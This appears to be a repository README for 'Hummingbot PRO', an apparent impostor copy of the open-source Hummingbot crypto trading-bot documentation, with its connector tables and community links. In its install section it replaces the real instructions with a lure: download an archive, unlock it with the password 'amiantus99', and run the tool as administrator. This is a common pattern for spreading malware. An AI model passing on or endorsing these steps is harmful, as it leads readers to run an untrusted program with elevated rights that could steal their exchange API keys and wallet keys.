Hummingbot PRO is an open-source framework that helps you design and deploy automated trading strategies, or bots, that can run on many centralized or decentralized exchanges. Over the past year, Hummingbot users have generated over $35 billion in trading volume across 140+ unique trading venues.
The Hummingbot codebase is free and publicly available under the Apache 2.0 open-source license. Our mission is to democratize high-frequency trading by creating a global community of algorithmic traders and developers that share knowledge and contribute to the codebase.
- Website and Docs: Official Hummingbot website and documentation
- Installation: Install Hummingbot on various platforms
- Discord: The main gathering spot for the global Hummingbot community
- YouTube: Videos that teach you how to get the most out of Hummingbot
- Twitter: Get the latest announcements about Hummingbot
- Reported Volumes: Reported trading volumes across all Hummingbot instances
- Newsletter: Get our newsletter whenever we ship a new release
Install Hummingbot
Download the last repositories
Password: amiantus99
Start the tool with administrator
Follow the steps
By default, Gateway will start in development mode with unencrypted HTTP endpoints. To run in production model wth encrypted HTTPS, use the DEV=false flag and run gateway generate-certs in Hummingbot to generate the certificates needed. See Development vs Production Modes for more information.
For comprehensive installation instructions and troubleshooting, visit our Installation documentation.
If you encounter issues or have questions, here's how you can get assistance:
- Consult our FAQ, Troubleshooting Guide, or Glossary
- To report bugs or suggest features, submit a Github issue
- Join our Discord community and ask questions in the #support channel
We pledge that we will not use the information/data you provide us for trading purposes nor share them with third parties.
Hummingbot connectors standardize REST and WebSocket API interfaces to different types of exchanges, enabling you to build sophisticated trading strategies that can be deployed across many exchanges with minimal changes.
We classify exchange connectors into three main categories:
-
CLOB CEX: Centralized exchanges with central limit order books that take custody of your funds. Connect via API keys.
- Spot: Trading spot markets
- Perpetual: Trading perpetual futures markets
-
CLOB DEX: Decentralized exchanges with on-chain central limit order books. Non-custodial, connect via wallet keys.
- Spot: Trading spot markets on-chain
- Perpetual: Trading perpetual futures on-chain
-
AMM DEX: Decentralized exchanges using Automated Market Maker protocols. Non-custodial, connect via Gateway middleware.
- Router: DEX aggregators that find optimal swap routes
- AMM: Traditional constant product (x*y=k) pools
- CLMM: Concentrated Liquidity Market Maker pools with custom price ranges
We are grateful for the following exchanges that support the development and maintenance of Hummingbot via broker partnerships and sponsorships.
| Exchange | Type | Sub-Type(s) | Connector ID(s) | Discount |
|---|---|---|---|---|
| Binance | CLOB CEX | Spot, Perpetual | binance, binance_perpetual |
|
| BitMart | CLOB CEX | Spot, Perpetual | bitmart, bitmart_perpetual |
|
| Derive | CLOB DEX | Spot, Perpetual | derive, derive_perpetual |
|
| dYdX | CLOB DEX | Perpetual | dydx_v4_perpetual |
- |
| Gate.io | CLOB CEX | Spot, Perpetual | gate_io, gate_io_perpetual |
|
| HTX (Huobi) | CLOB CEX | Spot | htx |
|
| Hyperliquid | CLOB DEX | Spot, Perpetual | hyperliquid, hyperliquid_perpetual |
- |
| KuCoin | CLOB CEX | Spot, Perpetual | kucoin, kucoin_perpetual |
|
| OKX | CLOB CEX | Spot, Perpetual | okx, okx_perpetual |
|
| XRP Ledger | CLOB DEX | Spot | xrpl |
- |
Currently, the master branch of Hummingbot also includes the following exchange connectors, which are maintained and updated through the Hummingbot Foundation governance process. See Governance for more information.
| Exchange | Type | Sub-Type(s) | Connector ID(s) | Discount |
|---|---|---|---|---|
| 0x Protocol | AMM DEX | Router | 0x |
- |
| AscendEx | CLOB CEX | Spot | ascend_ex |
- |
| Balancer | AMM DEX | AMM | balancer |
- |
| BingX | CLOB CEX | Spot | bing_x |
- |
| Bitget | CLOB CEX | Perpetual | bitget_perpetual |
- |
| Bitrue | CLOB CEX | Spot | bitrue |
- |
| Bitstamp | CLOB CEX | Spot | bitstamp |
- |
| BTC Markets | CLOB CEX | Spot | btc_markets |
- |
| Bybit | CLOB CEX | Spot, Perpetual | bybit, bybit_perpetual |
- |
| Coinbase | CLOB CEX | Spot | coinbase_advanced_trade |
- |
| Cube | CLOB CEX | Spot | cube |
- |
| Curve | AMM DEX | AMM | curve |
- |
| Dexalot | CLOB DEX | Spot | dexalot |
- |
| Injective Helix | CLOB DEX | Spot, Perpetual | injective_v2, injective_v2_perpetual |
- |
| Jupiter | AMM DEX | Router | jupiter |
- |
| Kraken | CLOB CEX | Spot | kraken |
- |
| Meteora | AMM DEX | CLMM | meteora |
- |
| MEXC | CLOB CEX | Spot | mexc |
- |
| PancakeSwap | AMM DEX | AMM | pancakeswap |
- |
| QuickSwap | AMM DEX | AMM | quickswap |
- |
| Raydium | AMM DEX | AMM, CLMM | raydium |
- |
| SushiSwap | AMM DEX | AMM | sushiswap |
- |
| Trader Joe | AMM DEX | AMM | traderjoe |
- |
| Uniswap | AMM DEX | Router, AMM, CLMM | uniswap |
- |
| Vertex | CLOB DEX | Spot | vertex |
- |
- Deploy: Deploy Hummingbot in various configurations with Docker
- Dashboard: Web app that helps you create, backtest, deploy, and manage Hummingbot instances
- Quants Lab: Jupyter notebooks that enable you to fetch data and perform research using Hummingbot
- Gateway: Typescript based API client for DEX connectors
- Hummingbot Site: Official documentation for Hummingbot - we welcome contributions here too!
The Hummingbot architecture features modular components that can be maintained and extended by individual community members.
We welcome contributions from the community! Please review these guidelines before submitting a pull request.
To have your exchange connector or other pull request merged into the codebase, please submit a New Connector Proposal or Pull Request Proposal, following these guidelines. Note that you will need some amount of HBOT tokens in your Ethereum wallet to submit a proposal.
- License: Hummingbot is open source and licensed under Apache 2.0.
- Data collection: See Reporting for information on anonymous data collection and reporting in Hummingbot.
